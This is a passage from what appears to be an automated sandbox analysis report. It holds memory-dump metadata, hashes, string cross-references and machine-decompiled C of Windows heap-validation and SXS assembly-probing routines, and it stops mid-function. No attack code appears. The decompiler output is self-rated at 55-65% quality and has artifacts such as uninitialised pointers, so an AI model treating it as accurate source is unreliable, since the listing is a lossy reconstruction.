RtlpResolveAssemblyStorageMapEntry, xrefs: 6D2BAC27
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6D2BAB0E
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 6D2BAC2C
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 6D2BAA11

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$BoundaryCloseDeleteDescriptorFreeHeapmemcpy
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 565419495-4009184096
Opcode ID: 2fd945a717daa074c8ffcca5096a68c76413978bead2e229b43297015996db1a
Instruction ID: db26c000a8763a64e6f21772b3b59b72c7ec5b9acf510445c25f98fb3495f6fb
Opcode Fuzzy Hash: 2fd945a717daa074c8ffcca5096a68c76413978bead2e229b43297015996db1a
Instruction Fuzzy Hash: 2D0280F1D8462D9BDB31CB24CD80F9AB7B8AF45709F4141EAE608A7241D7709E84CF69

Uniqueness

Uniqueness Score: -1.00%

Function 6D304496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6D304496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6D3049A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6d336378 = _t267;
						asm("int3");
						 *0x6d336378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6D27174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6D24B150();
							} else {
								E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6D24B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6D24B150();
							} else {
								E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6D24B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6d336350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6D289660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6D27174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6D24B150();
										} else {
											E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6D24B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6D24B150();
									} else {
										E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6D24B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6D24B150();
								} else {
									E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6D24B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E6D24B150();
							} else {
								E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6D304AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6D2FFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6D2F23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6d3044a1
0x6d3044a3
0x6d3044a7
0x6d3044ac
0x6d3044af
0x6d3044b2
0x6d3044b9
0x6d3044bc
0x6d3047f2
0x6d3047f2
0x6d3047f8
0x6d3047fc
0x6d3047fe
0x6d304804
0x6d304805
0x6d304805
0x6d30480c
0x6d304810
0x6d304812
0x6d304812
0x6d304812
0x6d304822
0x6d304822
0x6d304827
0x6d304827
0x00000000
0x6d304827
0x6d3044c4
0x6d3044d3
0x6d3044d9
0x6d3044dc
0x6d3044de
0x6d3044e0
0x6d304560
0x6d304520
0x6d304522
0x6d304525
0x6d304528
0x6d30452b
0x6d30452e
0x6d304530
0x6d304697
0x6d30469d
0x6d3046a1
0x6d3046c0
0x6d3046c5
0x6d3046a3
0x6d3046b8
0x6d3046bd
0x6d3046cb
0x6d3046d4
0x6d304677
0x6d304677
0x6d304679
0x6d30467c
0x6d30468a
0x6d304690
0x6d304690
0x6d3047f1
0x6d3047f1
0x6d3047f1
0x00000000
0x6d3047f1
0x6d304536
0x6d304539
0x6d30453c
0x6d304636
0x6d30463c
0x6d304640
0x6d30465f
0x6d304664
0x6d304642
0x6d304657
0x6d30465c
0x6d304670
0x00000000
0x6d304542
0x6d304542
0x6d304546
0x6d304548
0x6d30454b
0x6d304555
0x6d30455b
0x6d30455b
0x6d30455b
0x6d30455d
0x6d30455d
0x6d30455d
0x00000000
0x6d30455d
0x6d30453c
0x6d304579
0x6d30457c
0x6d304587
0x6d304589
0x6d304591
0x6d304592
0x6d304597
0x6d304598
0x6d3045a1
0x6d3045ab
0x6d3045ab
0x6d3045a1
0x6d3045ae
0x6d3045b4
0x6d3045b9
0x6d3045bd
0x6d304759
0x6d304759
0x6d30475f
0x6d304761
0x6d304763
0x6d304765
0x6d304768
0x6d30476b
0x6d30476d
0x6d30479c
0x6d30479c
0x6d30479f
0x6d3047a2
0x6d3047a4
0x6d304830
0x6d304833
0x6d304879
0x6d30487d
0x6d3048f1
0x6d3048f3
0x6d3048f3
0x00000000
0x6d3048f3
0x6d30487f
0x6d304885
0x6d304887
0x6d3048a8
0x6d3048a8
0x6d3048ae
0x6d3048b0
0x6d3048dc
0x6d3048dc
0x6d3048dc
0x6d3048dc
0x6d3048ec
0x00000000
0x6d3048ec
0x6d3048b2
0x6d3048bc
0x6d3048be
0x6d3048c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6d3048c3
0x6d3048c3
0x6d3048c6
0x6d3048c9
0x6d3048cc
0x6d3048d1
0x6d3048d4
0x00000000
0x00000000
0x6d3048d6
0x6d3048d7
0x6d3048da
0x00000000
0x00000000
0x00000000
0x6d3048da
0x6d30494f
0x6d304955
0x6d304959
0x6d304978
0x6d30497d
0x6d30495b
0x6d304970
0x6d304975
0x6d304986
0x6d304987
0x6d30498d
0x6d304990
0x6d304997
0x6d3047ef
0x6d3047ef
0x6d3047ef
0x00000000
0x6d3047ef
0x6d304890
0x6d304890
0x6d304891
0x6d304891
0x6d304894
0x6d304897
0x6d30489d
0x6d3048a0
0x00000000
0x00000000
0x6d3048a2
0x6d3048a3
0x6d3048a6
0x00000000
0x00000000
0x00000000
0x6d3048a6
0x6d3048fb
0x6d304901
0x6d304905
0x6d304924
0x6d304929
0x6d304907
0x6d30491c
0x6d304921
0x6d30492f
0x6d304935
0x6d304936
0x6d304939
0x6d304942
0x00000000
0x6d304947
0x6d304835
0x6d30483b
0x6d30483f
0x6d30485e
0x6d304863
0x6d304841
0x6d304856
0x6d30485b
0x6d304869
0x6d30486c
0x6d30486f
0x6d3047e7
0x6d3047e7
0x00000000
0x6d3047ec
0x6d3047aa
0x6d3047b0
0x6d3047b4
0x6d3047d3
0x6d3047d8
0x6d3047b6
0x6d3047cb
0x6d3047d0
0x6d3047de
0x6d3047df
0x6d3047e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6d30476f
0x6d30476f
0x6d304778
0x6d304785
0x6d304787
0x6d30478c
0x6d30478e
0x00000000
0x00000000
0x6d304790
0x6d304792
0x6d304794
0x00000000
0x00000000
0x6d304796
0x6d304799
0x00000000
0x6d304799
0x00000000
0x6d3045c3
0x6d3045c3
0x6d3045c7
0x6d3045c7
0x6d3045ca
0x6d3045cf
0x6d3045d3
0x6d3045df
0x6d3045e4
0x6d3045e6
0x6d3045e8
0x6d3045ed
0x6d3045ed
0x6d3045f2
0x6d3045f2
0x6d3045f7
0x6d3045fc
0x6d304602
0x6d304606
0x6d304609
0x6d30460f
0x6d3046de
0x6d3046e3
0x6d3046e5
0x6d3046ec
0x6d3046ee
0x6d3046f6
0x6d3046f6
0x6d3046f6
0x6d3046f6
0x6d3046ec
0x6d304615
0x6d304615
0x6d30461d
0x6d30462e
0x6d30462e
0x6d30461d
0x6d30460f
0x6d304609
0x6d3046fd
0x00000000
0x00000000
0x6d304710
0x6d30471a
0x6d304720
0x6d304720
0x6d304722
0x6d30472c
0x00000000
0x6d30472e
0x6d30472e
0x00000000
0x6d30472e
0x6d30472c
0x6d304738
0x6d30473c
0x6d30474b
0x6d304751
0x6d304751
0x00000000
0x6d30473c
0x6d3048f4
0x6d3048f4
0x00000000
0x6d3048f4

APIs

Part of subcall function 6D3049A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6D3044B7,?), ref: 6D3049DF
Part of subcall function 6D3049A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6D3044B7,?), ref: 6D3049FE
Part of subcall function 6D3049A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6D304A42
Part of subcall function 6D3049A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6D304A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6D30459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D304657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C,6D29F07A), ref: 6D304664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D304670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D3046B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C,6D29F07A), ref: 6D3046C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20), ref: 6D3046D4
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D3047CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C,6D29F07A), ref: 6D3047D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20), ref: 6D3047E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D304856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C,6D29F07A), ref: 6D304863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D30491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C,6D29F07A), ref: 6D304929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6D304942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C), ref: 6D304970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20,0000001C,6D29F07A), ref: 6D30497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6D304997

Strings

Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6D304992
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6D3047E2
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6D30486F
HEAP[%wZ]: , xrefs: 6D304652, 6D3046B3, 6D3047C6, 6D304851, 6D304917, 6D30496B
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6D30493D
Non-Dedicated free list element %p is out of order, xrefs: 6D30466B
HEAP: , xrefs: 6D30465F, 6D3046C0, 6D3047D3, 6D30485E, 6D304924, 6D304978
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6D3046CF

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: 357e81e6a7856630be5cbd8be7861bb68c7ff84503c5ae5226fcc4e703b0e795
Instruction ID: eaaf507f51feb93b28994969d7ccb6d9a6118a9dd50803a96a772601a0fbe9ae
Opcode Fuzzy Hash: 357e81e6a7856630be5cbd8be7861bb68c7ff84503c5ae5226fcc4e703b0e795
Instruction Fuzzy Hash: D5F1533251064ADFCB15CFA8C480BBAB7F5FF5D308F018469E56597241D732EA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D27CF6A, Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 321
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D27CF6A(signed short* __edx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, signed short _a16, signed int* _a20) {
				signed int _v12;
				char _v536;
				signed int _v537;
				signed int* _v544;
				signed int _v548;
				intOrPtr _v552;
				void* _v556;
				signed short _v560;
				signed short _v564;
				char _v568;
				signed short* _v572;
				signed short* _v576;
				intOrPtr _v580;
				signed short _v584;
				void* _v588;
				signed short _v592;
				void* _v596;
				intOrPtr _v600;
				signed short _v604;
				char _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				intOrPtr _v628;
				char _v632;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t101;
				void* _t103;
				signed short _t113;
				signed short _t116;
				void _t119;
				char _t129;
				intOrPtr _t131;
				void* _t137;
				intOrPtr _t145;
				short* _t147;
				signed int _t157;
				signed short* _t159;
				void* _t160;
				signed short* _t161;
				signed short _t165;
				intOrPtr _t166;
				signed short _t169;
				intOrPtr _t172;
				void* _t173;
				intOrPtr _t174;
				short _t175;
				void* _t181;
				void* _t189;
				void* _t190;
				signed short* _t192;
				void* _t193;
				void* _t194;
				void* _t197;
				signed short _t199;
				signed int _t200;

				_v12 =  *0x6d33d360 ^ _t200;
				_t101 = _a8;
				_t166 = _a12;
				_v576 = __edx;
				_v584 = _a16;
				_t192 = _a4;
				_v544 = _a20;
				_v548 = _v548 & 0;
				_t189 = 0;
				_v560 = 0;
				_v537 = 0;
				_v568 = 0;
				_v564 = 0;
				_v588 = 0;
				_t187 = _v584;
				_v572 = _t192;
				_v580 = _t101;
				_v552 = _t166;
				_v556 = 0;
				if(_t187 != 0) {
					 *_t187 =  *_t187 & 0;
				}
				_t159 = _v576;
				if(_v544 != _t189) {
					 *_v544 =  *_v544 & _t189;
					_t166 = _v552;
				}
				if(_t159 == 0 || _t192 == 0 || _t101 == 0 || _t166 == 0 || _t187 == 0 || _v544 == _t189) {
					_push(_v544);
					_push(_t187);
					_push(_t166);
					_push(_t101);
					_push(_t192);
					_push(_t159);
					_push(0);
					E6D2D5720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Flags:               0x%lx\nSXS:  Root:                %p\nSXS:  AssemblyDirectory:   %p\nSXS:  PreAllocatedString:  %p\nSXS:  DynamicString:       %p\nSXS:  StringUsed:          %p\nSXS:  OpenDirectoryHandle: %p\n", "RtlpProbeAssemblyStorageRootForAssembly");
					_t193 = 0xc000000d;
					goto L24;
				} else {
					_t169 =  *_t159 & 0x0000ffff;
					_t187 = _t169;
					if(_t169 != 0) {
						_t157 =  *(_t159[2] + (_t169 >> 1) * 2 - 2) & 0x0000ffff;
						_t181 = 0x5c;
						_t169 =  *_t159 & 0x0000ffff;
						if(_t157 != _t181) {
							if(_t157 != 0x2f) {
								_v537 = 1;
								_t187 = _t187 + 2;
							}
						}
					}
					_t113 = ( *_t192 & 0x0000ffff) + 4 + _t187;
					_v592 = _t113;
					if(_t113 > 0xfffe) {
						_push("SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.\n");
						_push(0);
						_push(0x33);
						E6D2D5720();
						_t193 = 0xc0000106;
						L26:
						if(_t189 != 0 && _t189 !=  &_v536) {
							E6D24AD30(_t189);
						}
						L28:
						if(_v548 != 0) {
							_push(_v548);
							E6D2895D0();
						}
						_pop(_t190);
						_pop(_t194);
						_pop(_t160);
						return E6D28B640(_t193, _t160, _v12 ^ _t200, _t187, _t190, _t194);
					}
					if(_t113 > 0x208) {
						_t195 = _t113 & 0x0000ffff;
						_t189 = E6D263A1C(_t113 & 0x0000ffff);
						_v556 = _t189;
						if(_t189 != 0) {
							_t116 =  *_t159 & 0x0000ffff;
							goto L15;
						}
						E6D2D5720(0x33, _t115, "SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.\n", _t195);
						_t193 = 0xc0000017;
						goto L28;
					} else {
						_t189 =  &_v536;
						_t116 = _t169 & 0x0000ffff;
						_v556 = _t189;
						L15:
						memcpy(_t189, _t159[2], _t116 & 0x0000ffff);
						_t197 = _t189 + ( *_t159 & 0x0000ffff);
						if(_v537 != 0) {
							_t119 = 0x5c;
							 *_t197 = _t119;
							_t197 = _t197 + 2;
						}
						_t161 = _v572;
						memcpy(_t197, _t161[2],  *_t161 & 0x0000ffff);
						 *((short*)(_t197 + ( *_t161 & 0x0000ffff))) = 0;
						_t165 = (_v537 & 0x000000ff) + (_v537 & 0x000000ff) +  *_v572 +  *_v576;
						_v560 = _t165;
						if(E6D256A00(_t189,  &_v568, 0,  &_v608) == 0) {
							E6D2D5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n", _t189);
							_t193 = 0xc000003a;
							goto L26;
						} else {
							_t129 = _v608;
							_t187 = _v564;
							_v588 = _v564;
							if(_t129 != 0) {
								_v568 = _t129;
								_v564 = _v604;
								_t131 = _v600;
							} else {
								_t131 = 0;
							}
							_v628 = _t131;
							_push(0x21);
							_v624 =  &_v568;
							_push(3);
							_push( &_v640);
							_v632 = 0x18;
							_push( &_v632);
							_push(0x100020);
							_v620 = 0x40;
							_push( &_v548);
							_v616 = 0;
							_v612 = 0;
							_t193 = E6D289830();
							_t137 = _v596;
							if(_t137 != 0) {
								asm("lock xadd [eax], ecx");
								if(0xffffffff == 0) {
									_push( *((intOrPtr*)(_t137 + 4)));
									E6D2895D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v596);
									_t189 = _v556;
									_t165 = _v560;
								}
							}
							if(_t193 < 0) {
								if(_t193 == 0xc000000f || _t193 == 0xc0000034 || _t193 == 0xc000003a) {
									_t193 = 0xc0150004;
								} else {
									_push(_t193);
									E6D2D5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n", _t189);
								}
								goto L24;
							} else {
								_t172 = _v580;
								_t199 = _v592;
								if(_t199 > ( *(_t172 + 2) & 0x0000ffff)) {
									if(_t189 ==  &_v536) {
										_t173 = E6D263A1C(_t199);
